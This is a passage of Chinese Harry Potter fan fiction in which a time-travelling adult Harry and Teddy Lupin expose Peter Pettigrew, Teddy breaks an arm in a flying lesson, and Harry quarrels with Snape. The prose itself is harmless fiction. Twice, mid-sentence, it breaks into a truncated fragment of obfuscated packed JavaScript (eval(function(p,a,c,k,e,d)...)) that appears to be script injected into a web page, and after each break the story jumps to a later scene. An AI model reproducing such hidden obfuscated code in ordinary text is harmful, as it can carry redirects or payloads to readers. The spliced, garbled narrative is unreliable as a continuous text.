“我觉得泰迪他们的落水有蹊跷,想去找点线索。”泰迪紧紧地攥住哈利的手臂,哈利安抚性地拍拍他的手。 “你以前不是傲罗司司长吗?我真为傲罗的素质感到悲哀,你的警觉性都丢到麻瓜世界了?”斯内普嘴里讽刺着,从橱柜里取来一个空瓶子,装了半瓶从哈利伤口处流出的血。 “我那时候注意力集中在别的东西上……蛇会潜水吗?” 哈利没头没脑的问题让斯内普的动作停了下来,“蛇?虽然伤你的东西具有毒性,但你这伤不是被蛇咬的。” “呃,那当我没问过。”哈利摸摸鼻子,又说,“不过我在湖底找到个很有趣的东西。” 斯内普冷漠的目光没有表现出任何兴趣,“老老实实呆在这里,我去拿药。”兀自转身进了里间。 哈利挑挑眉,转向泰迪,“泰迪,你该去和罗恩他们会合了。你也看到了,虽然斯内普看我不顺眼,但还不至于趁机毒死我。” 泰迪央求道,“我想陪你。” “听着,泰迪。”哈利微叹了口气,“我的伤真的没什么大不了的,你不相信我也该相信斯内普吧?何况我等会儿还有些要紧事和他谈。” 泰迪听出了哈利话里的潜意思,有些事不是小孩子该知道的。“好吧。”他略显沮丧地点头,“那么晚上我要来你这里看你。” 泰迪不情不愿地离开后,斯内普那原本就足够阴冷潮湿的办公室更是冷了几分。 哈利恹恹地把双手枕在椅背顶上,托着下巴,不知在想些什么。 斯内普再次回到外间时,似乎并不奇怪泰迪的缺席,径直把一瓶水蓝色的魔药递给哈利。 “把这个喝了,你的伤很奇怪,我不敢保证是不是有效。” 哈利盯着那瓶子里药水的颜色看了会儿,又打开来闻了闻,入鼻的不是寻常刺鼻的药味,反而有着若有似无的清香,“你这魔药里加了凤凰的眼泪?” “难为你居然看出来了。”斯内普面带嘲弄地睨视他,“因为和凤凰签订过契约的缘故?” “大概是吧。”哈利不置可否地说,一口气把魔药喝完。 喝下魔药不过片刻,哈利感到背部传来阵阵怪异的瘙痒感。他赶忙找来镜子,只见本来还在往外流的血全部倒流回体内,而伤口则以肉眼可见的速度迅速愈合起来,很快就只剩下一条细长浅淡的伤疤。见此情景,哈利郁闷地低声嘀咕着,“居然这么简单,我怎么就没想到把福克斯叫出来试试?” “伤好你就可以走了,波特在我的办公室里多呆一秒都让我难以忍受。”斯内普冷冷地下了逐客令。可哈利却不准备走,这是他来找斯内普时就决定的,他有满肚子的疑问需要得到解答。 “斯内普,你为什么背叛伏地魔?” 斯内普浑身一震,他缓慢地对上哈利的视线,目光寒彻肌骨,“未来的英雄大人难道不是无所不知的吗?” “可是历史改变了,不少疑惑令我理不出个头绪。”哈利仿佛是自言自语般地说,“我刚回来的时候,只是单纯的以为我来到的是一个不一样的时空。以至于我忽略了很多不该忽略的地方。这个历史和我们历史上出现的分歧太出乎意外,我怕以后我们会面对更恐怖的未来。斯内普,十年前你是不是偷听到那个预言了?” 斯内普沉默,哈利知道那代表着肯定。 “你告诉他了?” “他是不是挑选了我们家,挑选了我——或者说,这个时代的哈利·波特?” 斯内普猛然抬头看他。 “果然如此吗……”猜测一一被证实,哈利的心也沉到最底处,“他是怎么消失的?” “这些事你大可以去问邓布利多。”斯内普一字一句地说,紧握的拳头青筋暴起,“你问我是为了什么目的,来嘲笑我?” “告诉我,斯内普,伏地魔是不是已经进入我家后才消失的?”哈利面不改色地问。 斯内普跳起来。“够了!” “为什么你会暴跳如雷?”哈利静静地说,“几乎要被杀死的是我的家人。” “你该死的到底想说什么!”斯内普咆哮。 哈利的声音依然平静,“在我的时空,伏地魔在得知预言后,成功地闯进我家,杀了我的父母,也差点杀死我。你说我该向谁讨这个债。” 斯内普不作声了,他愕然地注视着哈利。良久,他踉跄地倒退两步,掩住自己的脸,喃喃道,“是我……” “不是你。”哈利摇头,自从知道真相后,他知道自己无法再去憎恨眼前这个悲哀的人,“真正背叛他们的,是小矮星彼得,如果你还记得这个人。” “那个人在暴露后已经被布莱克杀了。”斯内普再次抬起视线,狐疑地说,“如果不是因为他是叛徒,布莱克现在就该呆在阿兹卡班里了。” “问题是他没死,而且他就在霍格沃兹。”哈利肯定地指出,“我需要你的帮助,斯内普。” “我们得告诉邓布利多,而你必须帮我,在一切变得更糟之前。” …… 哈利踏入校长办公室时,邓布利多正和某个坐在他对面的中年男子开怀畅谈,并不时爆发出愉快的笑声。 “哈利,你来了?”注意到哈利的到来,邓布利多越过办公桌对他微笑。 哈利对他微微点头,“阿不思。”那个中年男子也停下谈话,转头好奇地打量这个新进来的人。邓布利多则站起来为他们作介绍。 “我很荣幸地介绍,这是魔法部傲罗司司长詹姆斯·波特。” “詹姆斯,这是哈利·佩弗利尔,我们的黑魔法防御课教师。” 哈利和詹姆斯互相握手致意。 詹姆斯的表情有些怔忪,眼里掩饰不住的震惊。他的目光不停在哈利的头发、脸及眼睛处流连。哈利假装没有发现他的失态。 阿不思在旁边轻轻咳了一声,詹姆斯马上发现自己的失态,立时恢复了一个傲罗应有的冷静,“阿不思说,这次是你有事找我。” 哈利颔首,抹去眼中那丝激动,让自己尽量表现得像一个首次见到他的陌生人,“我偶然发现了件有趣的事,我想你们傲罗——你会感兴趣的。” “有趣的事?” “是的,我发现了一个非法阿尼马格斯。” “可这不该由我们傲罗司负责……” “一只灰色的老鼠。缺了一个趾头。” 詹姆斯的脸色刷的白了,“……老鼠?” “是的,它是我教子的朋友的宠物。” “可你是怎么发现的?正常情况下,阿尼马格斯和普通的动物别无二致。” “的确,本来我根本不会注意到的。那是我教子发现的,呃,他有种特殊的能力,可以看见他原本的样子。偶然的情况下他告诉了我……我把这件转告校长后,他说你可能会认识他……” 事实上是哈利在泰迪的帮助下潜入过他们寝室一次,在确定了斑斑的确是小矮星彼得后,与邓布利多及斯内普在周六商讨并做出这个决定——尽早免除后患。 “我可以看看那只老鼠……阿尼马格斯么?”詹姆斯将信将疑地问。 “自然。”哈利从容不迫地转身去打开门,“你们进来吧。” 罗恩颤颤巍巍地抱着他的斑斑进来,灰色的老鼠似乎知道迎接它的将会是什么,吱吱尖叫着,并不停地在罗恩手中扭动挣扎。罗恩身后还跟了一串小尾巴——是泰迪、小哈利还有赫敏。小哈利一进门就惊叫爸爸,詹姆斯对他笑着点点头。最后进来的是斯内普,他一言不发地站到邓布利多的另一边,詹姆斯微不可见地皱了皱眉。邓布利多对哈利扬眉,哈利无奈地回以他苦笑——这几个小家伙太能缠人了,不过小哈利·波特在这件事上算不得外人,发现斑斑是彼得的又是泰迪,至于赫敏这个聪明的小女巫,睁只眼闭只眼吧。 “可以让我们看看你的宠物吗?罗恩。”哈利和蔼地对他说。 罗恩不是很情愿地把手中叫得愈加凄惨的宠物展露出来,让大家都能看得更清楚,嘴里还嘟囔着,“它不过是只普通的老鼠。” “罗恩,一只活了十年的老鼠并不普通。”哈利解释。“普通老鼠的寿命只有三、四年。” “佩弗利尔教授,我能问个问题吗?”赫敏从后面伸出头问。 “当然,请问。” “您怎么知道罗恩的老鼠是人变的呢?我查了些书,关于阿尼马格斯的……而且这只老鼠,我是说这个人,做了什么事吗?我听说哈利的父亲是傲罗?”她好奇的视线在詹姆斯身上转来转去。 哈利温和地说,“你的问题都很敏锐,赫敏。关于第一个问题,那是泰迪发现的。”三个孩子同时转向泰迪,泰迪点点头承认了。“你们可以以后去问他,我想泰迪不会介意和你们分享他的小秘密的。至于第二个问题,也许由波特先生来回答你们比较恰当。” 而詹姆斯此时则是完全失去了言语能力,他的眼睛闪烁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小矮星彼得浑身破烂脏旧,他喘着粗气跪在地上,抽搐得厉害。他索索发抖地把自己缩成一团,哈利注意到他那极具老鼠特征的小眼睛不时往门口瞟去。哈利心中冷笑,他以为这回还会轻易让他逃脱吗? “詹姆斯,我的老朋友,你……你来救我了?”他露出卑微谄媚的笑容,使得皱巴巴的脸更加丑陋。 “救你?如果我的记忆力没出错,你是背叛了我们逃跑的吧。”詹姆斯脸上带着笑,眼底却盛满厌恶。 “背……背叛你们的不是我……我……”小矮星彼得双手无意识地绞着,结结巴巴地为自己辩解。 “哦?那是谁?”邓布利多走上前平静地问。 “邓……邓布利多教授!”小矮星仿佛抓住了一根救命草,疯了似地尖叫起来,“就是他!布莱克!是他!他想杀了我灭口,我只能逃!” “哦?他为什么要杀你灭口?” “他是保密人……冤枉我……是他泄的密……”小矮星彼得额头湿漉漉的,一边还张皇四顾,眼睛不停向门口瞟去。 “哈哈哈。”詹姆斯大笑起来,“小天狼星为什么要背叛我?保密人明明就是换成了你!” “他……他骗了你们!他是那个人的手下!是奸细!你们都被蒙在鼓里了!”小矮星彼得不管不顾地喊着,“我是清白的!” “是不是清白不是由你来说的,小矮星彼得。”一直默默看着这一切的哈利终于开口了,“我想我们的魔药教师会给你提供足够的吐真剂来证明你是否清白。” “不!吐真剂?不!你们不能这么对我!”小矮星畏缩了下身子,又歇斯底里地大叫,“荒唐!你们不能这么做!这不公平!荒唐!” 然后他看清了眼前站着的人的样貌,脸上又忽然燃起希望,他爬过去扯住哈利的长袍乞求道,“你……你是哈利?看你长这么大了……和你的父亲多像……还有你那双眼睛,哦,莉莉的眼睛……是的,莉莉绝对会相信我的……我们是多么好的朋友啊……你……你也会相信我的吧……对吧……” 小矮星语无伦次地哀求着,满屋子的人都张口结舌,看着这极度诡异的一幕。 面对着和当年如斯相近的场景,哈利慢慢拽出自己的长袍,强迫自己冷酷地说,“我想十年的躲藏让你神志不清了,小矮星彼得。我不是哈利·波特。那边的那个才是,他还只是个十一岁的孩子。” 小矮星彼得止住哀求,眼光扫视了下众人,很快发现了那个“真正”的哈利·波特,他惊疑的目光在两人身上来回扫视,豆大的汗珠从他脸上掉下来,嘴里还咕哝着,“怎么会……一模一样……一模一样……” 哈利无视了他的疯狂,看向斯内普,“斯内普教授。” 斯内普用从未有过的复杂眼神瞥了他一眼,走上前拽起不断挣扎的小矮星,一把掰开他的嘴巴,滴入一滴早就准备好的吐真剂。 “不!不!”小矮星胡乱地摆手,然后掐着自己脖子猛烈咳嗽起来,徒劳地想把那滴早已迅速渗入他五脏六腑的药水吐出来。很快的,在吐真剂的效果下,小矮星的双眼渐渐失去光泽,连脸上的表情也平静了下来,变得麻木。 “小矮星彼得,你投靠了伏地魔吗?”邓布利多问。 “是的。黑魔王很强大,我们斗不过他的。我需要更强大的靠山。”小矮星无神的双眼直勾勾望着前方,毫不含糊地回答邓布利多的问题。 “你身为波特一家的保密人,但还是把他们的行踪泄露给了伏地魔?”邓布利多接着问。 “是的,黑魔王承诺会赐给我无上的荣耀和奖励。” 校长办公室陷入了一片沉默。 “詹姆斯,我想真相如何已经很清楚了。你可以把他带回魔法部去,给予他判决。”邓布利多转向詹姆斯,轻快地说。 “是啊,阿兹卡班和摄魂怪的吻会等着他的。”詹姆斯心不在焉地说,他的注意力已经不在这个昔日的好友上了。 此时,吐真剂的效果也开始退去,小矮星的眼睛再次亮起来,恢复了自我,而他的嘴唇也无法抑制地哆嗦起来——吐真剂效果的消失并不会影响到他的记忆。 “不!不要让摄魂怪来吻我!求你,求求你,詹姆斯!你是那么的好心!从小一直帮我!”他脏兮兮的脸上布满泪痕,匍匐上前,詹姆斯给了他一脚。他轻声说,“那是你罪有应得,虫尾巴。” 小矮星又转向罗恩,“罗恩……我的小主人……我是你的宠物斑斑啊……你不会抛弃我的……还有哈利……” 罗恩厌恶地闪到一边,小哈利大叫,“离我们远点,你这个叛徒!” “多亏你的帮忙,佩弗利尔教授。”詹姆斯用魔杖射出一卷细绳,牢牢地捆住小矮星。 “举手之劳。”哈利微微倾身。 詹姆斯含有深意的目光再次停留在哈利身上,忍住问他更多问题的冲动,拥抱了一下自己的儿子后,带着小矮星彼得离开了校长办公室。 门外是彼得撕心裂肺的痛苦惨叫,门内则是赫敏小哈利他们的安慰声及罗恩低低的抽泣声,毕竟那曾经是他的宠物。 “哈利,阿兹卡班是什么?”泰迪扯了扯哈利的衣袖,仰头问道。 “只要是巫师都不会想进去的监狱,痛苦在那里泛滥,快乐会沦为阿兹卡班的守卫——摄魂怪的食粮。” “那摄魂怪的吻呢?” “那会彻底夺走人类的灵魂。” “他必须得被夺走灵魂吗?” 哈利俯下身看着他的灰眼睛,“他早就丧失灵魂了,泰迪。” 小矮星彼得提早了两年被捉住,可伏地魔仍在外面逍遥。到底他是得了什么人的帮助,还是像他和泰迪一样回到了过去——明明已经死了的伏地魔,而且也没有第二个伏地魔的出现——哈利觉得自己在迷雾中越陷越深,摆脱不得。 但他知道,这仅仅是一个开始。 22. 异常 泰迪微微伏下身子,掉转扫帚方向,一个漂亮的俯冲,稳稳当当地停在罗恩的身前。 “飞得不错啊,伙计。”罗恩满脸羡慕地赞叹道,他自己的扫帚还在手中微微颤抖,看来不怎么听他使唤,“以前骑过扫帚吗?” “小时候骑过两次儿童扫帚。”泰迪理了下被风吹得凌乱的卷发,兴奋的小脸红通通地冒着热气。他下了扫帚,又问,“怎么就你一个,哈利呢?” “他刚刚还在我旁边呢,霍琦夫人一说自由活动他就不见影了。”罗恩茫然地往四下张望,接着搔搔脑袋,耳朵根泛红,有点不好意思地开口,“泰迪,我能借你的扫帚试试看吗?我这把不大听话。” “没问题。”泰迪点头,把扫帚交给他,视线向场地扫去——大部分学生都东倒西歪地努力控制着扫帚,许多人即使飞起来了也不敢离地太远,生怕一个不小心扫帚失控把他们甩下来。霍琦夫人正在场地边检查赫敏的扫帚——赫敏嗓子都快喊哑了才好不容易使扫帚起了反应,可接着扫帚就开始绕着她边扫地边跳华尔兹,愣是不让她跨上去,直让赫敏哭笑不得。离他们不远处是全身都贴在扫帚上的纳威——与其说他在飞,不如说是双臂死命抱住扫帚站在地上作骑马状比较贴切——对于纳威来说,似乎还是脚踏实地才能给他带来安全感。泰迪看了一圈,果然没有小哈利的影子。这么说来,好像还有一个人也—— “嘿,波特!你就这么点能耐?” “马尔福,你的眼睛是长屁股上的?也不看看现在仰着头说话的是谁?” “说话放客气点,波特!飞得高不代表什么,说明你只会一股蠢劲往上冲。”德拉克反驳的声音带着点紧张。 “我凭什么要和马尔福讲客气?你不是才吹嘘过学了很久飞行的吗,怎么跟条蛇似的吓得一动也不敢动了?”小哈利语气中透着洋洋得意。 “吓得不敢动?笑话,和格兰芬多做事不经大脑不同,斯莱特林擅长的是蓄势待发,你这个乱草窝。” “哦,要不再比试比试?稀毛?” “不准你叫我稀毛!波特!” “就你那贴着头皮数不出几根的头发我不叫你稀毛还能叫什么?” 泰迪他们循着声音的方向往天上看去,其他学生也被上方两个男孩的较劲吸引了注意力,男孩们饶有兴趣地观望,不少胆小的女孩已经捂嘴发出了尖叫声——他们飞得太高了,从地面望上去几乎成了两个黑色的小点。 “哇噢,他们飞得可真好!”罗恩低声惊叹,泰迪却皱起了眉头。 霍琦夫人在别的学生的报告下也注意到了这边的情况,她用魔杖放大了自己严厉的声音,“先生们,我想我很清楚地说过你们不允许飞到太高的地方。” 两个男孩向下望去,却没有任何动作。 “如果你们再不下来,我敢保证在你们说出魁地奇三个字前就会被赶出霍格沃兹的大门。”霍琦夫人下了最后通牒。不得不说适当的威胁还是颇具效果的,尤其是对于两个刚入学的新生。 两个男孩对望一眼,同时翘起嘴巴。 “霍琦夫人让我们下去呢。” “那真是可惜,波特,你什么时候打算做个乖乖孩了?” “谁在离地面最近的地方停下就算谁赢!中途可以使绊。” 德拉科轻哼一声,“很好,我会让你哭着求饶的,波特。” “谁会哭还说不定呢。”说着,小哈利轻巧地按下扫帚,扫把尾划出一个优雅的弧度,如同彗星般往下急冲。 “你使诈,波特!”德拉科只是呆愣了几秒就立刻反应过来,驱使着自己的扫帚追过去。 “我说过不能使诈了吗?马尔福!”小哈利在把身子俯得更低前还有余力回头对德拉科做鬼脸,发出的笑声瞬间被呼呼的风声撕成碎片。 完全不理会地面众人杂乱的尖叫和喝彩,两个男孩在空中你追我赶,两条轨道时不时回旋交错,碰撞在一块儿后又分开成两条平行线。 几番比拼下,小哈利仍然快马尔福一筹。眼看怎么也追不上小哈利,马尔福空出一只手抓住小哈利的扫帚尾巴。感觉到速度顿减,小哈利往后嘶声吼道,“马尔福,你太卑鄙了!快放开!” “说能使绊的好像是你,波特!”马尔福勉强睁着被风刮得刺痛的眼睛,嗤笑道,“我不放手你又能怎样?” “那我们走着瞧!”小哈利干脆减慢速度,反手攥住马尔福的扫帚杆。两个男孩居然就在俯冲的扫帚上扭打起来! 看到这一幕,连罗恩都忍不住大叫,“他们俩疯了!”泰迪眯起眼睛,一把抓过罗恩手里的扫帚,匆匆说了句,“我用一下!”便跨上扫帚,没有理睬罗恩在一旁的惊叫“泰迪,你要干什么!”,脑里计算着他们大致着陆的地点,同时扫帚如闪电般疾飞过去。每个人的头都仰着,反而没什么人注意到泰迪的举动。他卯足劲用最快的速度沿着地面低空飞行,周围的人以及声响都被飞快地抛在身后。泰迪心里其实并不如表面表现得那么勇敢,他从没飞过这么快的速度,周围的景物已经模糊成一片,他感到头晕,但不得不咬牙坚持着。 “波特!马尔福!我要求你们立刻停下!”男孩们离地面越来越近仍不减速,霍琦夫人见状急得大喊,她已经骑上了她的扫帚直飞而去,可场地边缘离中心有着好一段的距离,她拔出魔杖向他们发去一束红光,但为时已晚。 “砰!”三把扫帚撞在一起,是的,三把——男孩们在最后一刻总算开始减缓速度,而泰迪也及时赶到了,挡在他们下面起了缓冲作用,可巨大的惯性冲击还是使得三人连人带扫帚都摔到地上,并各自滚了好几圈。 小哈利灰头土脸地爬起来,动了下手脚,发现自己还能活蹦乱跳的,便恶狠狠地朝旁边扑倒在地同样是满脸沾了满脸尘土的德拉科叫道,“马尔福!你为什么不早点松手?” “这个问题我原封不动还给你,波特!”德拉科费力地撑起身子,还想说什么,却被向他们跑来的赫敏那尖锐的叫声打断了。“哦,泰迪!” 两人这才注意到不远处正躺在地上一动不动、惨白着脸的泰迪的存在。 “伙计,你怎么在这儿?”小哈利嚷嚷道,他还完全摸不着状况,只是奇怪泰迪怎么也跟着摔倒在地。“你没事吧?” 泰迪闭着眼,提不起力气回答他,手臂处剧烈的疼痛感让他几乎晕厥过去——看来是骨折了。 “你受伤了!”小哈利瞪大双眼,却迎来赫敏劈头盖脸的痛骂,“他当然受伤了!你怎么不想想他为什么会受伤!”同时赶来的罗恩本想去扶泰迪,可不小心碰到他肿起的手臂,疼得泰迪直冒冷汗,吓得罗恩不敢再乱碰。 此时学生们都渐渐围了过来,霍琦夫人拨开众人挤到泰迪身边,“安静!安静!都让开点,我需要把卢平先生送到医疗翼!”她又气呼呼地看向小哈利和德拉科,“至于你们——” “哈利·波特!德拉科·马尔福!泰迪·卢平!”远远传来麦格教授怒气冲冲的叱喝,只见她正从城堡方向快步走来,一向注重仪表的她甚至任凭自己的帽子歪歪挂在头上。可这还不是最糟糕的——两个男孩心里不约而同冒出这个念头——一言不发走在她身边,却带给人更可怕的压迫力的不是斯莱特林的院长还能是谁? 如果说麦格教授给他们的感觉是火冒三丈,那么缠绕在斯内普周围的气息简直就能冰冻三尺——小哈利和德拉科都不由自主的地后退了两步,除了手臂痛得动弹不得的泰迪,学生们呼啦一下全散了开来,躲得远远的。 “你们怎么敢——从八十英尺的高空——”来到他们面前,麦格教授颤抖的手指着他们,话都说不完整了,“你们会摔断脖子的!如果不是卢平先生接住你们——” 意识到自己给泰迪带来的麻烦,小哈利羞愧地低下头。德拉科的神色也不比他好到哪儿去,但他仍偷偷往斯内普的方向瞄去,内心还存着一丝侥幸,希望一向护短的院长能帮上自己一把。 但和麦格教授不同,斯内普彻底无视两个罪魁祸首,一个箭步走向躺倒在地的泰迪。 “你要干什么?”本来乖乖听着麦格教授训斥的小哈利忽然窜出来,张开双臂挡在斯内普身前。 “显然,就算你不摔破你的脑瓜子,里面装得满满的猪食也已经发臭了,波特。”斯内普脸上浮起了平时常见的阴险笑容,底下隐藏的杀气腾腾的怒火却让小哈利激灵灵打了个冷战,“让开!也许你打算让卢平在草地上躺一晚?” “我……我们会送他去医疗翼的!”小哈利脸红了,可还是倔强地回嘴。 “我警告你,波特,不要一而再再而三挑战我的耐心。”斯内普不耐烦地推开小哈利,先是拔出魔杖射了一道白光在泰迪的手臂上,然后弯下腰,很有分寸地避开他的伤处抱起他,泰迪没有呼痛——刚刚的白光大大缓解了他的痛楚。 “格兰芬多和斯莱特林各扣十分!关禁闭一周!”霍琦夫人走过来喘着粗气说,“至于卢平先生,虽然我不赞成你这种冒险的做法,但我仍要为你的勇敢给格兰芬多加五分。”她转向斯内普,“你们没有意见吧,米勒娃?西弗勒斯?” “没有。另外,米勒娃,我认为你该去通知佩弗利尔。”斯内普转向仍在教训两个孩子的麦格教授。 “通知哈利?为什么?” “我以为卢平的教父有必要得知他的情况。” 麦格教授看了眼泰迪,露出恍然大悟的神情,“我明白了。” 斯内普不再说什么,抱着泰迪大踏步向医务室走去。进入城堡后,斯内普放缓了脚步,低头看着泰迪。 “我原以为你比你教父更理智些,现在看来,显然是我错误地估计了你身为格兰芬多的鲁莽程度。” “不过是受了点伤!”泰迪轻声抗议道,脸色还是煞白的,但疼痛一消整个人就比刚刚舒服得多。 “哈,不过是受了点伤!”斯内普语调古怪地重复了泰迪的话,凛冽的目光逼得泰迪缩了缩脖子,“简直和你那愚蠢的教父如出一辙,一上扫帚就跟苍蝇似的没头没脑地乱撞,不是被扫帚甩下来就是摔断自己的胳膊!” “哈利也摔断过胳膊?”泰迪好奇地睁大灰色的眼睛。那么擅长魁地奇的教父也会有摔断胳膊的时候? 斯内普猛然顿住脚步,“谁跟你说他摔断过胳膊的?” “不是西弗你刚刚说的吗?” 斯内普紧紧蹙起眉头,抿着嘴,仿佛在努力回想自己说过的话。半晌,他缓缓地说,“我不记得了。” 把泰迪交得庞弗雷夫人照顾后,斯内普一刻也没多停留,径自离开了医疗室。当哈利气喘吁吁赶到医务室的时候,泰迪正在庞弗雷夫人的监视下捏着鼻子把那瓶气味难闻的药水尽数吞下去。 “他没什么事,错位的骨头都纠正了。今天在这里睡一晚,明天消肿了就能回去。”庞弗雷夫人对哈利说,哈利微笑着向她颔首,“谢谢你,波比。” 庞弗雷夫人收起空瓶子离开了隔间,哈利坐在泰迪床边,一手摸上他的头,看着他还算有精神的小脸,舒了口气,“我可从来没想过你会在飞行课上受伤。听说是这里的哈利·波特和马尔福比试飞行时出了意外,你跑去当肉垫才撞伤的?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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斯内普陡然睁开充血的双眼,像要喷出火般瞪着邓布利多,语气咄咄逼人,“那么难道你以为你现在说声抱歉,接下来该怎么利用我们还是怎么利用吗?” 说不清他的眼神中是否隐隐含着埋怨或责备,也说不清邓布利多神色平静的底下是否压抑着蚀骨的悲伤。 ——在那个时代,他们都失去了所有。 “……如果是那样,我不需要。那是我自己的选择,与你无关。” …… …… 隔间的帘子被拉开一角,探进一个黑发小脑袋。“佩弗利尔教授?” 哈利转头看清来人,笑了,“来看泰迪的吗?” 小脑袋小鸡啄米似的点着,下面又伸进来一棕一红两个脑袋。 “正好我得回去了,下午还有课要准备。”哈利站起来让出位子,然后他好笑地看到泰迪已经在用他那只没受伤的手向他们招手了,“快进来快进来!” 小脑袋的主人们一溜烟地跑了进来,可哈利却惊奇地发现扭扭捏捏跟在最后面的那个——居然是德拉科·马尔福。 小哈利貌似看出哈利的疑惑,语带厌恶地说,“我就说马尔福跟来做什么,明显佩弗利尔教授都不欢迎你。” 哈利哭笑不得,他说过这句话吗? “波特,我不是、也没必要跟着你来,只是正好同路而已!为此我深表遗憾。”德拉科高傲地抬起他的下巴。“至于佩弗利尔教授是否欢迎我,就算你们长得像,凭你这矮冬瓜有资格代表他说话吗?” “马尔福!”小哈利扯开嗓门吼道。 “那我们就打得你以后不敢和我们同路。”罗恩摩拳擦掌。 “嘘!”赫敏低声警告他们,“你们想被庞弗雷夫人赶出去吗?” “看我的留下来,要决斗的跟着哈利出去打完再回来,不过我不敢肯定他会不会扣你们分。”泰迪歪着脑袋补充一句。 三个男孩立时噤声。 哈利心里滋生出一种滑稽的感觉,这个马尔福给他的感觉不像是故意来找茬,反而像是对泰迪他们有好感可又扯不下那个脸面去结交——毕竟双方处在不同的“阵营”里。泰迪也曾说过他并不讨厌马尔福,即使他一开始绝不喜欢他的语气和论调。因为落水时,他亲眼看到马尔福明明自己也是个旱鸭子,却仍然努力去抓住不会游泳的那两个大块头。 哈利无奈地笑笑,连孩子们之间的关系,和他那年代相比也有了不少的变化。包括他也不再是一个孩子,不再是他们的朋友。 收起涌上鼻尖的落寞感,他最后摸了摸泰迪柔软的褐发,“你们自己聊,小心别呆太久,庞弗雷夫人会来赶人的。” 在孩子们的目送下,他走出隔间,并顺手拉起帘子。可是谁也没注意到在帘子合上前的一刹那,他的目光落在另一个哈利·波特的身上。 …… “阿不思,为什么彼得会把我和那个哈利认错?”彼得被抓后隔天,哈利找了个机会单独去见邓布利多,“我们不管是年龄还是身高都相差太多了。而彼得毕竟在他们宿舍住了好几天,照理说再怎么慌乱也不可能……” “可惜这个问题也许没法直接问他了。刚刚詹姆斯通知我,彼得已经被摄魂怪吸取了灵魂。” 注视着哈利阴沉不定的表情,邓布利多微微叹了口气,半月形眼镜闪着捉摸不透的光。 “哈利,虽然我不能解答你这个疑问,不过——” “有时候看着你,哈利,我总有种曾经一路看着你长大的错觉……” 23. 魔镜 即将来临的万圣节就在这周四,学生们的情绪明显高昂起来,即使在上课时间也不怎么安分,在走廊或礼堂里更是经常能听见三五成群的学生兴奋的窃窃私语。万圣节之夜的晚宴自然是期待之一,更重要的是,万圣节之后就是上至教授下至学生都热衷着迷的魁地奇比赛。 教授们对此情景早已见怪不怪,麦格教授一如既往毫不留情地留下大批作业,甚至比平时多了两卷羊皮纸——为此罗恩抱怨不止,而赫敏理智地给出分析——看来这是她纾解紧张压力的方法,因为第一场比赛就是格兰芬多对斯莱特林。 魔药课和往常没什么区别,可以说,除了泰迪和德拉科,凡是被斯内普那能冻死人的视线扫到,就肯定会有一个学生如同被石化般僵硬上好几秒,就别提斯内普对小哈利的刁难程度和每节课制作魔药的难度是成正比的。泰迪私底下告诉哈利后,哈利得出结论——敢情是斯内普把对大只哈利的怒气转换到小只哈利身上了。 至于哈利的黑魔法防御课是哪个学生都不愿错过的,即使是魁地奇也夺不走他们对这门课的热爱。不过哈利倒是善解人意地提前十五分钟结束正课,剩下来的时间则和学生热火朝天地讨论关于魁地奇的种种。毕竟曾经身为格兰芬多的王牌找球手,哈利对于魁地奇比赛的许多见解都很深入,直让学生们大开眼界。泰迪在课后和罗恩他们猜测——哈利极有可能是透过这种方式发泄自己超龄所以没得参加比赛的怨念。 …… 万圣节那天对于霍格沃兹的学生来说是美妙的,一大早起整个学校就沐浴在烤南瓜那香甜诱人的气味中,大大勾起了饥饿的孩子们的食欲。 晚宴前的最后一节课后,泰迪带着几个作业的问题去找哈利,可哈利不在自己办公室,吃了个闭门羹的泰迪沿着楼梯慢慢下去,决定去教工休息室碰碰运气。 他远远看到教工休息室门外站着一个斯莱特林的学生,只是站着,似乎没有进去的欲望。泰迪走近了些,这回他看清楚了—— 那是德拉科·马尔福。 “德拉科。” “是你,卢平。”德拉科不冷不热地对他点点头。他说话还是那副慢吞吞的腔调,可不知道是不是因为说话对象并非小哈利,感觉稳重许多。 “你站在外面做什么?是要找哪位教授吗?”泰迪的视线从他身上转到休息室的门上。 “我想找斯内普教授,可我看到他和佩弗利尔教授一起进去了。”德拉科神色淡然地说,语调拖得很长,“那么你是来找佩弗利尔教授的?” “嗯。你为什么站在外头?” 德拉科没有直接回答,他朝着门那里扬了扬下巴。 泰迪心存疑惑地敲了敲门,没人应答。门没锁,他刚推开一条缝,哈利的怒吼声就传了出来。 “斯内普!我不需要你对我的教学方式指手画脚的!” 难怪德拉科没敢进去,泰迪偷偷抹了把冷汗。 他朝里望去,斯内普似乎是在批阅学生的论文,把哈利对他的怒视挡在羊皮纸后面,带着讽刺的口吻说,“啧啧啧,真该让崇拜你的学生看看你这副恼羞成怒、缺乏教养的模样。” “谢谢,我想我看上去怎么也比你这油腻腻的毒舌蝙蝠要强得多。”哈利不甘示弱地回了他一句,忿忿地把被羽毛笔的墨水弄污的羊皮纸揉成一团。 大概是不屑于继续那种没营养的对话,斯内普以居高临下的挑剔语气说,“你用的方法太天真了,如同过家家般肤浅的游戏只会宠坏学生,造成他们的目光短浅。黑魔法的形式纷繁杂芜、层出不穷,比他们想象的要更为深奥莫测,别让他们产生黑魔法是极易对付的错觉。” “你的意思是我该直接教他们黑魔法对吗,喜爱黑魔法的斯内普教授?” 斯内普哧的笑了,“能够如此扭曲我的意思,我真怀疑你脑袋的构造是否与众不同。我不过是为你学生的前途表示担忧。” “难道你硬生生掐灭了那么多学生对魔药的热情就是成功的?”哈利蹭地站起来。 “我的教学手段无需你来置喙。庸才的热情只会把魔药课搅成一团浆糊,毫无疑问你被包括在其中。”斯内普懒洋洋地在某篇论文上批了成绩,看上去很像是个“P”。 哈利已经在磨牙了,“很好,那么我的黑魔法防御课上不需要天才!我只要每个人都能切实地运用咒语防御黑魔法,能够在实战中灵活应变并保住性命就足够了。” “看来我们难以在教学上达成共识。” “深有同感!” 泰迪轻轻关上门,一脸黑线地看向德拉科,后者耸了耸肩。 